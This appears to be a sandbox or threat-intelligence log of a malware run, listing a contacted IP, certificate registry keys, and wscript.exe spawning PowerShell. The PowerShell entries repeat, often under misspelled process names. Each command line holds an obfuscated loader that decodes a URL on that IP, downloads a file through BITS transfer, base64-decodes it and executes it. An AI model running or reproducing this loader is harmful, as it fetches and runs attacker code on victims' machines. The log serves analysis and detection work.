cmdline powerszell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
host 194.180.48.211
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
parent_process wscript.exe martian_process powers~ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersuell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powers{ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersxell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersnell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powershell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
